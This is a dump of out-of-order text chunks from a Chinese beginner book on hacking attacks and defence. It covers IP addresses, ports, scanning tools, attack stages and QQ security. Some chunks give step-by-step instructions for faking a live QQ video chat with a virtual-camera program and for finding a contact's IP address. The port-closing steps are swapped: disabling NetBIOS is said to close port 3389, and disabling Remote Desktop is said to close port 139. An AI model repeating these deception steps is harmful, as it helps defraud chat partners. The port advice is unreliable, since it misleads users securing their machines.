    {"text": "③ 运行某一程序后杀毒软件自动关闭了，尝试重新打开时，却总 是失败。 ④ 访问杀毒软件网站时，浏览器被自动关闭。 ⑤ 如果杀毒软件有邮件监控功能，出现了程序发送邮件的警告对 话框。 ⑥ 如果安装有网络防火墙时，出现某个陌生的程序要访问网络的 警告对话框。 清除木马威胁 ① 安装网络防火墙软件，将防火墙设置为只允许指定的程序访问 网络。 ② 不要浏览不正规、不规范的网站，不要在不规范的网站上下载 安装软件，对那些下载的软件应先用杀毒软件扫描后再使用。 ③ 不要随便打开别人发来的网址，更不能随意打开陌生的图片和 程序，应先用杀毒软件扫描后再使用。 ④ 定期更新安全防护类软件，对电脑进行定时检查，登录QQ时要 注意查看登录图标是否正常。 ⑤ 做好QQ密码的保护工作，比如使用二代密码保护、邮箱验证和 手机验证等，即使别人盗走了QQ号，也能通过以上方法找回来。 ⑥ 在输入 QQ的账号和密码时，可以采用软键盘，或者不按顺序 直接输入。 例如一个QQ的密码是“1468”，在输入时可以先输入 “168”，然后把光标移到“1”后面再输入“4”，这样虽然最终输入 的密码是“1468”，木马程序记录的密码就可能是“1684”了，从而 保护了QQ密码。 ⑦ 安装QQ管家。"},
    {"text": "9.1.2 QQ使用安全攻防 1. QQ视频欺骗 通过视频聊天可以让远隔千山万水的人们感到温暖和欣慰，但当 发现视频的内容是假的时会不会十分懊恼呢？ QQ视频欺骗原理 QQ视频欺骗就是在视频聊天时，欺诈者不是直接使用摄像头录制 实时的视频，而是播放已经保存的视频录像，从而达到欺骗的效果。 QQ视频欺骗一般是通过安装虚拟摄像头软件来实现的，当电脑中 安装了虚拟摄像头软件后，就会增加一个新的摄像头，它能模拟真实 的摄像头，成功地骗过大部分的视频聊天软件，例如QQ、MSN和UC等。"},
    {"text": "这样即使电脑上没有摄像头，也能使用这些软件来虚拟视频。 瑞风虚拟摄像头就是一款这样的软件，它的特点在于，可以指定 照片和视频来取代真实的摄像头，与之聊天的人没有任何察觉。 瑞风虚拟摄像头程序运行后的主界面如下图所示。"},
    {"text": "（1）添加并播放视频文件 单击 按钮，弹出【打开】对话框，浏览到想要播放的 视频目录，按住键盘上的【Ctrl】键，用鼠标单击选中多个文件。 单 击 按钮即可把选中的文件添加到视频播放列表中。"},
    {"text": "单击 按钮，然后双击播放列表中的文件，即可在右侧 界面中对视频文件进行预览。 视频预览结束后一定要单击【停止预览】按钮，否则在其他软件 里将无法显示视频画面。 用户还可以根据需要设置播放模式，其中：【单独播放】是指反 复循环播放选中的文件； 【顺序播放】按由上到下的顺序依次播放列 表中的文件； 随机播放则在播放完一个文件后，随机播放下一个文 件。"},
    {"text": "（2）视频欺骗 按以上方法，设置好以后，在正式使用之前最好能先测试一下， 登录QQ后打开其中一个好友的即时聊天对话框，单击【摄像头】图标 后的下拉按钮，选中【视频设置】菜单项。"},
    {"text": "弹出【语言视频】对话框，在【请您选择您的视频设备】下拉列 表框中选中【RuiFeng Camera】单选钮， 即可在左侧看到瑞风虚拟摄 像头播放的视频内容。"},
    {"text": "这样对方就很容易误认为是本人在视频聊天，从而达到视频欺骗 的效果。 防范QQ视频欺骗的方法 防范这类欺骗的方法比较多，例如，我们可以在聊天过程中，随 时让对方做一下类似挥挥手、点点头或者笑一笑等小动作，如果视频 中，不能马上看到，就值得怀疑。 另外再注意查看一下视频的内容，注意人物的动作是否连贯、背 景的变化是否有异常等，从这些细节中有可能发现问题。 最后，不要轻易地相信“眼见为实”，不能单纯地认为视频里看 到的都是真实的，应该采用其他方法来综合验证，避免上当受骗。"},
    {"text": "2. QQ信息攻击 针对QQ的信息攻击主要表现在两个方面， QQ信息炸弹和查看QQ聊 天信息。 QQ信息炸弹 QQ采用UDP协议，该协议能被轻易地利用，黑客就利用此特点编制 了QQ信息炸弹程序。 QQ信息炸弹程序能够伪造数据包，向受害者发送大量的垃圾信 息，由于一般的网络防火墙会以为这些程序是合法的，并不会拦截。"},
    {"text": "（1）QQ信息炸弹的工作原理 QQ信息炸弹利用QQ正常的聊天功能，短时间内向受害者的QQ发送 大量的垃圾信息，发送的多为重复杂乱毫无意义的内容，让受害者应 接不暇，无法正常使用。"},
    {"text": "（2）预防QQ信息炸弹 由于QQ“炸弹”所发出的消息其实与正常聊天时所发出的消息一 样，只不过它的内容没有意义，因此无论腾讯公司如何在QQ安全问题 上进行改进，都不能完全阻止QQ炸弹的攻击。 因为QQ聊天的实质就是点对点的交流，如果腾讯公司将QQ两次发 送消息的时间间隔设置得太长，那么可能会影响用户正常的聊天；"},
    {"text": "一些恶意攻击者，通过各种途径得到QQ号码后，利用此号码发送 QQ信息炸弹，让人防不胜防，可以通过如下方法避免或防范信息炸 弹。 在好友图标上单击鼠标右键，选择【设置权限】 【屏蔽此人 消息】快捷菜单项。"},
    {"text": "新手学黑客攻击与防范从入门到精通 (计算机软件实战从入门到精通系列 6) 2013 新手学黑客攻击与防范从入门到精通 神龙工作室 周阿连 编著 人民邮电出版社 北京 前言 随着电脑和网络的普及，出现了越来越多的黑客行为，例如破解 密码、攻击浏览器、下载木马病毒，从而实现窃取隐秘信息、远程控 制甚至破坏电脑数据等目的。"},
    {"text": "为了满足广大读者的需要，我们针对 不同学习对象的掌握能力，总结了多位网络管理员、黑客技术研究者 和系统安全专家的经验，在Windows 7系统下，精心编写了本书。"},
    {"text": "实例为主，易于上手：全面突破传统的按部就班讲解知识的模 式，以实例为主，将读者在学习的过程中遇到的各种问题以及解决方 法充分地融入实际案例中，以便读者能够轻松上手，解决各种疑难问 题。 提示技巧，贴心周到：对读者在学习过程中可能遇到的疑难问 题都以提示技巧的形式进行了说明，使读者能够更快、更熟练地运用 各种操作技巧。"},
    {"text": "高手过招，专家解密：通过“高手过招”栏目提供精心筛选的 维护技巧、提高效率的设置方法、排除故障的小窍门以及保障安全的 策略，以专家级的讲解帮助读者掌握防范黑客攻击的技巧。"},
    {"text": "一步一图，图文并茂：在介绍具体操作步骤的过程中，每一个 操作步骤均配有对应的插图，以使读者在学习过程中能够直观、清晰 地看到操作的过程及其效果，学习更轻松。"},
    {"text": "书盘结合，互动教学：配套的多媒体教学光盘内容与书中内容 紧密结合并互相补充。 在多媒体光盘中，我们仿真模拟工作生活中的 真实场景，让读者体验实际应用环境，并借此掌握所需的知识和技 能，掌握处理各种问题的方法，并能在合适的场合使用合适的方法， 从而能学以致用。 超大容量：本书所配的DVD格式光盘的播放时间长达10小时， 涵盖书中绝大部分知识点，并做了一定的扩展延伸，克服了目前市场 上现有光盘内容含量少、播放时间短的缺点。 内容丰富：光盘中不仅包含 10 小时与本书内容同步的视频讲 解、本书实例的原始文件和最终效果文件，同时赠送以下3部分的内 容： (1) 8小时精通Windows 7视频讲解、400个经典的Windows 7实用 技巧电子书，使读者完全掌握Windows 7系统； (2) 200个经典黑客攻防应用技巧，200个系统优化、安全、查杀 病毒的实用技巧，有助于读者提高电脑安全专业技能； (3) 多媒体讲解打印机、扫描仪等办公设备及解压缩软件等常用 软件的使用、300多个电脑常见问题解答，有助于读者提高电脑综合应 用能力。 解说详尽：在演示各个黑客攻击和防范实例的过程中，对每一 个操作步骤都做了详细的解说，使读者能够身临其境，提高学习效 率。 实用至上：以解决问题为出发点，通过光盘中常见的、有效的 黑客基础知识和攻防实例，全面涵盖了读者在了解、掌握有效的防范 黑客攻击方面所遇到的问题及解决方案。"},
    {"text": "① 将光盘印有文字的一面朝上放入光驱中，几秒钟后光盘就会自 动运行。 ②若光盘没有自动运行，在光盘图标 上单击鼠标右键，在弹 出的快捷菜单中选择【自动播放】菜单项（Windows XP系统），或者 选择【安装或运行程序】菜单项（Windows 7系统），光盘就会运行。 ③建议将光盘中的内容安装到硬盘上观看。 在光盘主界面中单击 【安装光盘】按钮 ，弹出【选择安装位置】对话框，从中选择合 适的安装路径，然后单击 按钮即可安装。 ④以后观看光盘内容时，只要单击【开始】按钮 【所有程 序】 【从入门到精通】 【《新手学黑客攻击与防范从入门到 精通》】菜单项就可以了。 如果光盘演示画面不能正常显示，请双击 光盘根目录下的tscc.exe文件，然后重新运行光盘即可。 ⑤如果想要卸载本光盘，依次单击【开始】 【所有程序】 【从入门到精通】 【卸载《新手学黑客攻击与防范从入门到精 通》】菜单项即可。"},
    {"text": "第1章 初识黑客攻击 第2章 黑客常用的网络命令和工具软件 第3章 建立安全的测试系统 第1章 初识黑客攻击 在很多人眼里，“黑客”是一些高深莫测的神秘人物，是网络破 坏者的代名词，他们肆意攻击网络、窃取商业机密、散播个人隐私以 非法获利。"},
    {"text": "黑客（hacker）原指那些熟悉操作系统知识、具有较高的编程水 平、热衷于发现系统漏洞并将漏洞公开的一类人，他们的工作在某种 意义上是有创造性和积极意义的。"},
    {"text": "但有一些人以破坏为目的，通过非法侵入他人的系统进行偷窥和 破坏活动，他们被称为“入侵者”或“骇客”。 由于两者的行为有一定的相似性，普通的电脑用户难以分清，所 以目前许多人把“黑客”与“入侵者”、“骇客”作为同一含义来理 解，都认为是网络的攻击者。"},
    {"text": "技术研究 黑客在测试某个程序时，发现不正常的现象，通过分析，发现其 中的漏洞，随后针对这个漏洞编写攻击程序来验证漏洞是否能被利 用。 确认程序存在可被利用的漏洞后，黑客会把漏洞和攻击程序一起 交给程序开发者，让他们对漏洞进行修补。"},
    {"text": "炫耀技术 例如想要在别人（通常是自己的同事、同学和亲戚朋友等）面前 炫耀一下自己的技术，一般攻击会仅限于进入别人的电脑修改文件或 目录名之类的无害行为，就算是与其开个玩笑、打个招呼，让他对自 己更加崇拜。 个人报复 例如看不惯某位同事 、同学或朋友的一些做法，又不便当面进行 指责，就攻击他的电脑，对系统进行破坏，甚至获取他的隐私信息。 黑客新手 他们通常是一些电脑爱好者，喜欢研究电脑技术，出于好玩、恶 作剧和练习黑客技术等原因对电脑发起攻击。 此类黑客中电脑新手和 学生较多，他们的入侵和破坏带有一定的偶然性，但后果常常连本人 都无法控制。"},
    {"text": "1.2 电脑是怎样联网的 电脑通过IP地址接入网络，使用不同的端口实现各种网络功能 （如浏览网页、写微博、发邮件以及聊天等），同样黑客的攻击也要 从IP地址和端口开始。 1.2.1 认识IP地址 每台能够正常上网的电脑都会有一个唯一的地址，这个地址的名 称就是IP地址。 1. 什么是IP地址 IP地址又称网际协议地址，是一种在Internet（因特网）上给电 脑编址的方式。 就像手机用户是靠号码来识别的一样，在网络中为了 区别不同的电脑，也需要给接入的电脑指定一个号码，这个号码就是 IP地址。 IP地址构成了整个Internet的基础，它非常重要，Internet 上的 每一台电脑都无权自行设定IP地址，而是由统一的机构（NIC——因特 网信息中心）负责网络IP地址段的规划、分配和管理。"},
    {"text": "IP地址段的申请 者（如联通、电信、移动等网络运营商）可以在获得的IP地址段中， 给接入自己网络的每一台电脑再分配一个唯一的IP地址，就像一个单 位无权决定自己所属城市的街道名称和门牌号，但可以自主决定本单 位内部的各个办公室编号一样。"},
    {"text": "现在广泛使用的IP地址规范属于IPv4（即IP协议第4版）中规定的 标准，由4部分组成，各部分之间用小数点分开，例如202.102.134.68 就是一个IP地址。"},
    {"text": "2.IP地址的分类 IP地址的种类较多，我们可以按如下两种方法进行分类。 按时间有效性分类 IP地址按其时间的有效性，可分为固定IP地址和动态IP地址两大 类。 （1）固定IP地址：固定IP地址是长期分配给一台电脑使用的IP地 址，一般来说，服务器都拥有固定的IP地址。 （2）动态IP地址：由于IP地址资源比较珍贵，一般来说，电话拨 号上网或宽带拨号上网的用户使用的是由 ISP（网络服务提供商）动 态分配的临时IP地址，也就说即使是同一台电脑，每次拨号上网时也 会使用不同的IP地址。 按使用范围分类 IP 地址按其使用范围，可分为公有IP地址和私有IP地址两大类。"},
    {"text": "（1）公有IP地址：由 Intel NIC负责管理，需要向其提出申请并 注册后才能使用。 （2）私有IP地址：即内网地址，包括10.x.x.x、172.16.x.x～ 172.31.x.x和192.168.x.x共3个网段，属于专门划分的IP地址资源， 不需要注册即可使用，但在同一内网中不能有相同的IP地址。 3.IP地址的作用 IP地址是实现网络访问的基础，简单地说，如果你想访问对方的 电脑，必须知道对方电脑的IP地址，反过来也一样。 当知道IP地址 后，由网络服务器按照所输入的IP地址去查找相对应的电脑，然后才 能进行信息的传送。 也许有的电脑用户会问，我在访问网站时输入的是英文网址（如 http://www.baidu.com/），并没有用到IP地址呀？ 这是因为IP地址是一些数字，不易记忆，所以网络中设置了专门 的服务器（DNS-域名解释服务器），负责把英文网址转换为IP地址， 也就是说虽然我们输入的是英文网址，实际上仍要通过数字IP地址的 形式来访问网络。 4. 查看自己的IP地址 因为IP地址如此重要，所以黑客在发起攻击之前首先想要获得的 就是IP地址，这其中包括本机IP地址和想要攻击目标的IP地址。 使用命令行查看本机IP地址 在Windows 7操作系统中，用户可以使用命令行获取本机的IP地 址，具体的操作步骤如下。"},
    {"text": "1 按下键盘上的【Win+R】组合键，打开【运行】对话框，在【打 开】下拉列表文本框中输入“cmd”。 2 按下【Enter】键，打开“cmd”命令行窗口，在命令提示符后 输入“ipconfig”。 3 按下【Enter】键，窗口中即可显示出本机的IP地址。"},
    {"text": "1 单击任务栏右下角的【网络和共享】图标 ，打开【当前连 接到：】对话框，然后单击【打开网络和共享中心】文字链接。 2 打开【网络和共享中心】窗口，单击窗口中的【本地连接】文 字链接。 3 打开【本地连接状态】对话框，单击【详细信息】按钮。 4 打开【网络连接详细信息】对话框，在此可查看到本机详细的 IP地址信息。"},
    {"text": "5. 查看对方的IP地址 黑客要攻击别人最重要的是获得对方的IP地址，查找IP地址有很 多方法，如操作系统自带的ping命令、网段扫描和使用能显示对方IP 地址的软件等。 查看网站的IP地址 黑客想要攻击某个网站，首先要获得该网站的IP地址，最简单的 方法是使用Windows操作系统自带的ping命令。 用前面介绍的方法打开“cmd”命令行窗口，在提示符中输入 “ping www.xxx.com”（本例中输入的是百度的网址），按下 【Enter】键会出现如下界面。"},
    {"text": "4 现在给需要获取IP地址的QQ号码发送图片，体积越大、发送次 数越多越好。 5 随后查看【网络活动】列表里接收字节最多的映像，一般该映 像的地址即为接收图片的QQ号码所用的IP地址。"},
    {"text": "对IP地址进行分段扫描 以上两种方法虽然实用，但是操作起来比较复杂，花费时间也较 多，为此黑客会使用工具软件来提高效率。 这类软件多数基于ping命 令，在指定某个扫描范围后，能把对ping命令有回应的在线电脑及其 IP地址显示出来。 此类软件较多，如IPBook这个小程序，就能扫描指定IP段内活动 的电脑。 运行该程序，在【IP范围】文本框中输入想要扫描的IP地址段， 例如“192.168.100”，单击 按钮，IPBook即可从 192.168.100.1开始扫描，直到192.168.100.254结束。 扫描结果出现在计算机区列表框中，显示内容包括IP地址、对应 的计算机名及所属的工作组等。 IPBook还能对电脑端口进行扫描，搜索Internet上任意网段电脑 中的共享资源，能够查出任意IP地址的计算机名、工作组和MAC地址等 信息。 使用专用程序 以QQ为例，只需安装一个辅助插件即可在聊天窗口中显示对方的 IP地址，像木头QQ显IP工具就是这样的程序。 （1）安装木头QQ显IP工具 下面以Windows 7操作系统为例，从网上下载最新版的安装程序， 如果QQ正在运行请先退出。"},
    {"text": "1.2.2 认识电脑的端口 电脑中的网络功能要通过端口来实现，功能不同端口也会不同。 默认情况下，操作系统会打开许多的服务端口，黑客就是利用这些端 口来入侵电脑的。 端口简单地说就是电脑与外界通信的通道。 电脑之间的通信要通 过端口，在访问一个网站时，操作系统会在本机打开一个端口(例如 1032端口)，然后去连接远方网络服务器的指定端口；"},
    {"text": "为了便于理解，用户可以把电脑看成一所有许多门、窗的房子， 电脑中的端口就像房子的门、窗、烟囱等出入口，是信息出入的必经 通道。 就如不同的门窗有不同的用处一样，不同的端口也有不同的功 能，例如我们平常浏览网页使用的是80端口，网络共享使用的是139端 口。 1. 电脑端口的分类 一台电脑中可以开启的端口数量可达65535个，可分为TCP端口和 UDP端口两种。 如果按照端口号划分，它们又可以分为系统保留端口、 注册端口和动态分配端口3大类。 系统保留端口（从0到1023） 这些端口都有确切的定义，每一个端口都对应着一项系统服务， 例如80端口对应着Web服务、21端口对应着FTP 服务、25端口对应着 SMTP服务、110端口对应着POP3服务等。 系统注册端口（从1024到49151） 这些端口松散地绑定了一些服务，也就是说有许多服务会指定使 用这些端口，与保留端口不同，这些端口同样用于其他目的。 例如，许多系统处理动态端口从1024左右开始，操作系统会从 1024端口开始分配动态端口，如果1024端口未关闭，会试着分配1025 端口，仍不行再尝试1026端口，依次类推，直到分配到一个未被使用 的端口。 动态分配端口（从49152到65535） 从49152到65535这一段端口，通常没有捆绑系统服务，允许 Windows动态分配给你使用。"},
    {"text": "20端口：主要用于FTP（File TransferProtocol，文件传输协 议）服务中数据的传输。 21端口：主要用于FTP服务中控制信号的传输。 23端口：主要用于Telnet（远程登录）服务，是Internet上普遍 采用的登录和仿真程序。 25端口：为SMTP（Simple Mail Transfer Protocol，简单邮件传 输协议）服务器所开放，主要用于发送邮件，如今绝大多数邮件服务 器都使用该协议。"},
    {"text": "109、110端口：109端口是为POP2（Post Office Protocol Version 2，邮局协议2）服务开放的，110端口是为POP3（Post Office Protocol Version 3，邮局协议 3）服务开放的，POP2、POP3 都是主要用于接收邮件。"},
    {"text": "111端口：是为SUN公司的RPC（Remote Procedure Call，远程过 程调用）服务开放的端口，主要用于分布式系统中不同计算机的内部 进程通信，RPC 在多种网络服务中都是很重要的组件。"},
    {"text": "137、138端口：137、138是UDP端口，主要用于“NetBIOS Name Service”（NetBIOS名称服务）。 139端口：为“NetBIOS Session Service”提供，主要用于提供 Windows文件和打印机共享以及Unix 中的Samba 服务。 143端口：主要用于 IMAP（ Internet Message Access Protocol，Internet消息访问协议）。 161端口：用于 SNMP（Simple Network Management Protocol， 简单网络管理协议）。 443端口：网页浏览端口，主要是用于HTTPS 服务。"},
    {"text": "8080端口:同80端口，用于WWW代理服务，可以实现网页浏览。 用 户在访问某个网站或使用代理服务器的时候，可以加上“:8080”端口 号，比如http://www.×××.com.cn:8080。"},
    {"text": "3. 扫描端口 黑客知道了电脑的IP地址后，还需要了解对方开放了那些端口， 才能找到进入对方电脑的入口。 查看本机开放的端口 在默认状态下，操作系统会打开很多的服务端口，其中有许多的 服务没有必要开启，部分存在危险性。 如果电脑用户想要查看本机都 开放了哪些端口，可以使用netstat命令。 Windows操作系统提供了netstat命令，使用该命令能够显示当前 的网络连接情况。"},
    {"text": "1 按前面介绍的方法打开【CMD】命令行窗口，在提示符中输入 “netstat -na”。 2 按下【Enter】键，就会显示出本机连接情况以及打开的端口 （LISTENING 表示端口处于监听状态，允许数据进行传输）。 电脑用户可以使用netstat -nab命令，显示每个连接所创建的程 序和所调用的组件，通过查看组件的创建时间和修改时间，可以分析 是否感染了木马、病毒。 查看对方开放的端口 为了查找目标主机都开放了哪些端口，黑客们经常使用一些像 PortScan 、SuperScan 这样的工具软件，对目标主机一定范围的端口 进行扫描，这里以PortScan为例来进行说明。 PortScan 是一款易于使用的端口扫描软件，能对单独IP地址的端 口进行扫描，如果检测的时候没有特定的目的，可以对目标电脑的所 有端口进行检测。 打开此程序，在【IP地址】文本框中输入想要扫描的IP地址，根 据需要在【扫描一个端口】和【扫描多个端口】之间进行选择，然后 单击【开始】按钮即可进行扫描。"},
    {"text": "其实，大多数时候不需要检测所有端口，只要检测有限的几个端 口就可以了，如只检测80 （Web 服务）、21 （FTP服务）、23 （Telnet服务）等端口，也可以输入木马端口，通过检测该端口是否 开放，来检测目标电脑是否被种植木马。 4. 关闭本机不用的端口 默认情况下 Windows 操作系统中有很多端口是开放的，这样黑客 可能会通过这些端口来攻击用户的电脑。"},
    {"text": "以Windows 7系统为例，可能需要关闭的端口有远程服务访问端口 3389和139端口等。 关闭3389端口 3389 是一个服务端口，默认为 Terminal Service（服务终端） 提供服务。"},
    {"text": "1 单击任务栏上的网络图标 ，单击弹出的【打开网络和共享 中心】文字链接。 2 弹出【网络和共享中心】窗口，单击窗口中的【本地连接】文 字链接。 3 弹出【本地连接状态】对话框，单击【属性】按钮。 4 弹出【本地连接属性】对话框，双击列表中的【Internet 协议 版本4（TCP/IPv4）】选项。 5 弹出【Internet 协议版本 4（TCP/IPv4）属性】对话框，单击 【高级】按钮。 6 弹出【高级TCP/IP设置】对话框，切换到【WINS】选项卡。 7 选中【NetBIOS设置】功能区中的【禁用TCP/IP上的NetBIOS】 单选钮，单击 按钮即可关闭3389端口。"},
    {"text": "关闭139端口 139端口是操作系统中的共享服务端口，用于提供文件和打印机共 享服务，如果用户的电脑不需要开启该服务，可以手动关闭，从而阻 止黑客从此端口的攻击。 在Windows 7操作系统中，关闭139端口的具 体操作步骤如下。"},
    {"text": "1 单击 按钮，弹出【开始】菜单，在【计算机】图标上单 击鼠标右键，选择【属性】快捷菜单项。 2 打开【系统】窗口，单击左侧窗格中的【远程设置】文字链 接。 3 打开【系统属性】对话框，切换到【远程】选项卡，选中【远 程桌面】功能区中的【不允许连接到这台计算机】单选钮，单击 按钮即可。 除了上面介绍的手动关闭电脑端口外，电脑用户还可以使用防火 墙进行防护，通过设置策略让必要的端口可用，禁止使用无用的端 口，从而提高电脑的安全性。 每款防火墙设置允许和阻止策略的方法 可能有所差别，如果设置某个阻止策略后，电脑在使用中出现异常， 只需停用这个阻止策略即可让电脑恢复正常。"},
    {"text": "1.3 黑客攻击的流程 黑客的攻击一般有规律可循，常用的流程如下所示。 收集信息→探测系统安全弱点和漏洞→实施攻击。 1. 收集信息 收集要攻击的目标系统的信息，包括目标系统的位置、路由、目 标系统的结构及技术细节等。"},
    {"text": "2. 探测系统安全弱点和漏洞 入侵者根据收集到的目标网络的有关信息，对目标网络上的电脑 进行探测，以发现系统的安全弱点和漏洞，常用的方法有如下几种。 ① 攻击者通过分析开发商发布的“补丁”程序的接口，编写程序 通过该接口入侵没有及时使用“补丁”程序的目标系统。 ② 攻击者使用扫描器发现安全漏洞。 扫描器是一种常用的网络分 析工具，可以对整个网络或子网进行扫描，以寻找系统的安全漏洞。 3. 实施攻击 攻击者通过上述方法找到系统的安全弱点和漏洞后，就可以对系 统实施攻击，其攻击行为可以分为以下3种表现形式。 ① 攻击者潜入目标系统后，会尽量掩盖行迹，并留下后门，以备 下次光顾时使用。 ② 攻击者在目标系统中安装探测程序，即使攻击者退出后，探测 程序仍可以窥探目标系统的活动，收集攻击者感兴趣的信息，并将其 传给攻击者。 ③ 攻击者进一步发现目标系统在网络中的信任等级，然后利用其 所具有的权限，对整个系统展开攻击。"},
    {"text": "1.4 黑客的攻击目标和方法 对于入侵检测和攻击防御来讲，首先需要了解黑客的攻击对象和 常用的攻击方法。 1.4.1 黑客的攻击目标 一般来说，黑客的攻击对象主要包括以下几个方面。"},
    {"text": "（1）系统存在的安全漏洞。 任何软件系统都无法避免地存在安全漏洞，这些安全漏洞主要来 源于程序设计等方面的错误或疏忽，给入侵者提供了可乘之机。"},
    {"text": "当发现漏洞时，管理人员虽然采取了对软件进行更新或升级等补 救措施，但由于路由器及防火墙的过滤规则复杂等问题，系统可能又 会出现新的漏洞。"},
    {"text": "1.4.2 黑客的攻击方法 一般来说，黑客使用的攻击方法有如下几种。 1. 获取口令 黑客获取账号和密码的方法一般有3种。 ① 攻击者可以通过网络监听来获得用户的账号和密码。 这种方法 虽然有一定的局限性，但危害很大，监听者可能获得该网段内所有的 用户账号和口令，对局域网的安全造成严重威胁。 ② 攻击者在获取到用户账号后，可以利用专用的密码破解软件来 强行破解用户的密码，该方法需要黑客有足够的耐心和时间。 ③ 攻击者在获得一个经过加密的文件后，还可以利用暴力破解的 方式来获取用户密码。"},
    {"text": "2. 放置特洛伊木马程序 特洛伊木马程序是一种远程控制工具，用户一旦打开或执行带有 特洛伊木马程序的文件，木马程序就会驻留在电脑中，并会在计算机 启动时悄悄执行。 如果被种有木马程序的计算机连接到Internet上 时，木马程序就会通知攻击者，并将用户的IP地址及预先设定的端口 信息发送给攻击者，使其可以修改计算机的设置、窥视硬盘中的内容 等。"},
    {"text": "3. WWW的欺骗技术 WWW的欺骗技术是指攻击者对某些网页信息进行篡改，如将网页的 URL改写为指向攻击者的服务器，当用户浏览目标网页时，实际上是向 攻击者的服务器发出请求，因此达到了欺骗的目的。"},
    {"text": "4. 电子邮件攻击 电子邮件攻击主要有两种方式：一种是电子邮件炸弹，指的是攻 击者用伪造的IP地址和电子邮件地址向同一信箱发送大量的内容相同 的垃圾邮件，致使受害人邮箱被“炸”； 另一种是电子邮件欺骗，指 的是攻击者佯称自己是系统管理员，给用户发送邮件，要求用户修改 口令或在类似正常的附件中加载病毒、木马程序等。"},
    {"text": "因此，如果在该网段上的 两台主机进行通信的信息没有加密，只要使用某些网络监听工具（如 NetXray、Sniffer等），就可以轻而易举地截取包括账号和口令在内 的信息资料。"},
    {"text": "6. 寻找系统漏洞 许多系统都存在着安全漏洞，其中有些是操作系统或应用软件本 身具有的漏洞，还有一些漏洞是由系统管理员配置错误引起的。"},
    {"text": "代理服务器的原理是在客户机和远程服务器之间架设一个“中转 站”，当客户机向远程服务器提出服务要求后，代理服务器首先截取 用户的请求，然后代理服务器将服务请求转交远程服务器，从而实现 客户机和远程服务器之间的联系。 很显然，使用代理服务器后远端服 务器包括其他用户只能探测到代理服务器的IP地址而不是用户的IP地 址，这就实现了隐藏用户IP地址的目的，保障了用户上网安全。 建议用户最好使用免费的代理服务器，可以使用代理搜索工具 （如 ProxyHunter——代理猎手）搜索出多个免费的代理服务器，再 从中选用连接速度最快的。 下面以Windows 7操作系统中使用的 IE 8浏览器为例，设置代理 服务器的具体操作步骤如下。"},
    {"text": "3 打开【局域网（LAN）设置】对话框，选中【为 LAN 使用代理 服务器（这些设置不用于拨号或VPN连接）】复选框，然后在地址中输 入查找出的速度最快的代理服务器IP地址和端口号。 4 设置完成后依次单击 按钮保存设置，随后即可让 IE 浏览器通过代理服务器来访问网络。"},
    {"text": "使用防火墙限制电脑的端口 在Windows 7操作系统中，电脑端口和系统服务相对应，想要限制 端口，可能通过禁止服务来实现。 电脑中有些端口无法被关闭，因为 系统的运行离不开它们，此时我们可以使用防火墙来阻止对应的服 务，从而限制这些端口的使用。"},
    {"text": "1 单击【开始】按钮 ，选择【控制面板】菜单项。 2 在【控制面板】窗口中选择【系统和安全】文字链接。 3 打开【系统和安全】对话框，单击【允许程序通过Windows防火 墙】文字链接。"},
    {"text": "用户可以选中列表中的名称后单击 按钮，把程序从防火 墙的允许规则中清除（操作系统自身的服务不允许删除），当被这些 程序再需要访问网络时，防火墙会给出提示，让用户选择允许或阻 止。"},
    {"text": "第2章 黑客常用的网络命令和工具软件 黑客的攻击离不开软件，只有熟悉黑客常用的网络命令和工具软 件，了解攻击手法，才能进行有效的防范。 光盘链接 关于本章知识，本书配套教学光盘中有相关的多媒体教学视频， 请读者参见光盘中的【黑客基础入门\\黑客常用的网络命令和工具软 件】。 2.1 黑客常用的网络命令 基本上每个黑客都会使用命令，知道黑客常使用哪些命令，可以 提前做好相应的防御措施，进而有效的防止黑客入侵。 2.1.1 常用DOS基本命令 DOS命令非常方便实用，操作起来效率高、简单快捷，并且功能强 大，从文件和磁盘操作到网络和多媒体操作等样样都能方便做到，而 且能做到Windows环境下做不到或做不好的事情，所以它深受黑客的喜 爱。"},
    {"text": "纯DOS模式需要电脑在启动时直接进入DOS系统，用户要用光盘、U 盘引导进入，或者在硬盘上先安装。 在纯DOS模式下，用户可以用命令对所有的硬件进行控制，进行文 件管理、网络访问、打印共享等操作。 纯DOS模式下只能执行单任务，无法发挥电脑的全部性能，再加上 只能使用命令进行操作，硬件的兼容性和驱动也比较复杂，因此出现 了系统模拟DOS环境。 系统模拟DOS环境是Windows操作系统中的一个组件，能够实现大 部分纯DOS模式下的功能，部分功能更加先进，被越来越多的黑客所使 用。 进入DOS环境 进入系统模拟DOS环境的方法比较简单，就如同运行 Windows 系 统中的一个程序，其中比较快捷、高效的方法是运行cmd.exe程序，具 体操作步骤如下。 1 按下键盘上的【Win+R】组合键，打开【运行】对话框，在【打 开】下拉列表文本框中输入“cmd”。 2 按下【Enter】键，即可打开系统模拟的DOS环境——cmd命令行 程序窗口。"},
    {"text": "以管理员身份运行DOS程序 Windows 7 操作系统对用户的权限进行了限制，这将导致某些程 序无法正常运行，例如在cmd程序窗口中运行某些命令时，会提示权限 不足。"},
    {"text": "解决这个问题的方法是以用管理员身份运行cmd程序，具体操作步 骤如下。 1 单击 按钮在【运行-搜索】文本框中输入“cmd”，【程 序】列表中会出现【cmd】程序图标，右键单击该图标，选择弹出的 【以管理员身份运行】快捷菜单项。"},
    {"text": "它有很多选项，如/a表示显示所有文件（即包括隐藏和系统属性 文件）中，/s表示也显示子文件夹中的文件，/p表示分屏显示，/b表 示只显示文件名。"},
    {"text": "例如用户用不带参数的dir命令来浏览D盘下的面的文件，需要输 入的命令为“dir d:”。 此时隐藏文件和系统文件是无法看到的，用户可以使用选项中的 “/a”参数查看全部文件或文件夹，需要输入的命令为“dir d:/a”，当然用户也可以使用其他参数。"},
    {"text": "3. cd命令 用cd或chidir可以退出或进入文件夹，该命令经常和dir命令一起 使用。 当用户在【命令行】窗口中输入“cd..”命令时，就会退到当前 目录的上一级目录，此时要注意目录的变化。 当用户需要直接回到当前目录的根目录时，需要输入“cd\\”命 令。 要改变当前的盘符，直接输入“盘符：”即可，应该注意的是， 要改变盘符，需要从根目录来改变，例如下图为从C盘进入D盘。 更多的时候需要用cd命令来进入文件夹进行操作。 其格式为：cd [文件夹名]。 如下图所示为进入D盘下面的Drivers文件夹的过程。"},
    {"text": "4. md和 rd命令 md命令用来建立文件夹，rd命令则用来删除文件夹。 建立一个文 件夹的命令为：md[文件夹名]，同样，删除文件夹的命令为：rd[文件 夹名]。"},
